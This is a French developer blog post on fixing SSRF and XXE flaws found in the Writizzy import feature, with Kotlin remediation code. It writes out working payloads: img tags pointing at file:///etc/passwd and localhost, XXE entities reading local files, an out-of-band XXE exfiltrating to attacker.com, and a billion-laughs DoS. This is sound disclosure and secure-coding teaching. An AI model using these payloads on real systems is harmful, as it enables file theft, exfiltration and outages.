Sécuriser un import de fichiers : corriger les failles SSRF et XXE

By Hugo5 min read

Vous savez qui aime les nouvelles features sur une application ?

Les hackers.

Chaque nouvelle fonctionnalité est une opportunité supplémentaire, une nouvelle faille potentielle.

Le week end dernier j'ai ajouté la possibilité de migrer ses données sur writizzy depuis wordpress (fichier xml), ghost (fichier json) et medium (archive zip).

Et lundi j'ai recu ce message :

Enorme vuln sur writizzy

Hello, Tu as une énorme vulnérabilité sur writizzy que tu dois fixer asap. Via l'import medium, j'ai pu download ton /etc/passwd Grosso modo, il faut absolument que tu valides les images du html medium!

Ton /etc/passwd pour preuve:

Micka

Alors comme c'est pas impossible que vous découvriez ce genre de faille, je vous propose de voir comment exploiter des failles SSRF et XXE

La faille SSRF

Une faille SSRF veut dire "server side request forgery", c'est une attaque permettant d'accéder à des ressources vulnérables du serveur.

Ok, mais comment accéder à ces ressources en déclenchant un import de données avec une archive zip ?

La fonctionnalité d'import repose sur un principe important, j'essaie de télécharger les images qui sont dans l'article à migrer pour les importer sur mon propre stockage (bunny dans mon cas).

Imaginons par exemple que j'ai ceci dans la page medium

text
<img src="https://cdn-images-1.medium.com/max/800/image.jpg"/>

Je dois télécharger l'image, puis la réuploader sur bunny. Lors de la conversion en markdown je vais ensuite écrire ceci :

text
![](https://cdn.bunny.net/blog/12132132/image.jpg)

Donc pour ca, a un endroit j'ouvre une url vers l'image

kotlin
   val imageBytes = try {
        val connection = URL(imageUrl).openConnection()
        connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
        connection.setRequestProperty("Referer", "https://medium.com/")
        connection.setRequestProperty("Accept", "image/avif,image/webp,*/*")
        connection.connectTimeout = 10000
        connection.readTimeout = 10000
        connection.getInputStream().use { it.readBytes() }
    } catch (e: Exception) {
        logger.warn("Failed to download image $imageUrl: ${e.message}")
        return imageUrl
    }

Et ensuite j'uploade le tableau de bytes vers bunny.

Ok. Mais que se passe-t-il si l'utilisateur écris ceci :

text
<img src="file:///etc/passwd">

Le code précédent va essayer de lire le fichier en suivant le protocole demandé, ici, file. Puis uploader le contenu du fichier sur le cdn. Contenu désormais accessible publiquement.

Et puis on peut également accéder à des urls internes pour scanner des ports, avoir des infos sensibles etc...

text
<img src="http://localhost:6379/">

Bref, la faille est très importante.

Pour corriger il y a plusieurs choses à faire. Déjà, vérifier le protocole utilisé :

kotlin
    if (url.protocol !in listOf("http", "https")) {
        logger.warn("Unauthorized protocol: ${url.protocol} for URL: $imageUrl")
        return imageUrl
    }

Ensuite, vérifier qu'on attaque pas des urls privées

kotlin
        val host = url.host.lowercase()
        if (isPrivateOrLocalhost(host)) {
            logger.warn("Blocked private/localhost URL: $imageUrl")
            return imageUrl
        }
        
        ...
        
            private fun isPrivateOrLocalhost(host: String): Boolean {
        if (host in listOf("localhost", "127.0.0.1", "::1")) return true

        val address = try {
            java.net.InetAddress.getByName(host)
        } catch (_: Exception) {
            return true // En cas de doute, on bloque
        }

        return address.isLoopbackAddress ||
                address.isLinkLocalAddress ||
                address.isSiteLocalAddress
    }

Mais ici, j'ai encore un risque. L'utilisateur peut écrire

text
<img src="https://hacker-domain.com/image.jpg">

Et pourtant, ceci pourrait encore être risqué si le hacker demande un redirect de cette url vers /etc/password

Donc il faut bloquer les demandes de redirection :

kotlin
    val connection = url.openConnection()
    if (connection is java.net.HttpURLConnection) {
        connection.instanceFollowRedirects = false
    }
    connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
    connection.setRequestProperty("Referer", "https://medium.com/")
    connection.setRequestProperty("Accept", "image/avif,image/webp,*/*")
    connection.connectTimeout = 10000
    connection.readTimeout = 10000
    val responseCode = (connection as? java.net.HttpURLConnection)?.responseCode

    if (responseCode in listOf(301, 302, 303, 307, 308)) {
        logger.warn("Refused redirect for URL: $imageUrl (HTTP $responseCode)")
        return imageUrl
    }

Bref, faites très attention à l'ouverture de connection piloté par l'utilisateur.

Sauf que c'était pas fini.

Second message de Micka :

T'as aussi une XXE sur l'import wordpress ! Désolé du spam, j'avais pas pu tester pour t'avertir en même temps que l'autre vuln, ça aussi faut que tu le fix asap :)

la faille XXE

Une XXE (XML External Entity) est une vulnérabilité qui permet d'injecter des entités XML externes pour :

  • Lire des fichiers locaux (/etc/passwd, config files, clés SSH...)
  • Faire du SSRF (requêtes vers des services internes)
  • Faire du DoS (billion laughs attack)

Or Micka a modifié le fichier xml de Wordpress pour rajouter une déclaration d'entité

text
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
...
<content:encoded>&xxe;</content:encoded>

Cette directive demande au parseur XML d'aller lire le contenu d'un fichier local pour ensuite l'utiliser plus tard.

Il aurait aussi été possible d'envoyer ce fichier vers une url directement

text
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

et sur http://attacker.com/evil.dtd

text
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

Enfin pour faire tomber un serveur, l'attaquant aussi aussi pu faire ceci :

xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<rss>
  <channel>
    <item>
      <title>&lol9;</title>
      <wp:post_id>1</wp:post_id>
      <wp:status>publish</wp:status>
      <wp:post_type>post</wp:post_type>
    </item>
  </channel>
</rss>

Ceci demande l'affichage de plus de 3Mds de caractères, et donc faire planter le serveur. Il existe des variantes mais vous avez l'idée.

Bref, évidemment on veut pas tout ça.

Cette fois ci, il va falloir sécuriser le parseur XML en lui demandant de ne pas regarder les entités externes :

kotlin
    val factory = DocumentBuilderFactory.newInstance()
    
    // Désactiver les entités externes (XXE protection)
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
    factory.isXIncludeAware = false
    factory.isExpandEntityReferences = false

J'espère que vous aurez appris un truc. Moi oui en tout cas, parce que même si j'aurais du voir la faille SSRF, honnêtement, j'aurais jamais vu celle sur le parseur XML. C'est grace à Micka que j'ai découvert ce type de pratique.

Pour info, Micka est une personne formidable avec qui j'ai déjà bossé sur Malt et qui bosse dans la sécurité. Vous l'avez peut-être croisé sur des capture the flag à Mixit. Et il adore essayer de trouver ce genre de faille.

Written by Hugo

Ingénieur logiciel/Indie Hacker avec plus de 20 ans d'expérience. Je partage sur les technologies, l'entreprenariat et les startups, entre autre...

Stay in the loop

Get new articles delivered directly to your inbox. No spam, unsubscribe anytime.

0 Comments

No comments yet. Be the first to comment!

Copyright © 2026EventuallycodingPowered by Writizzy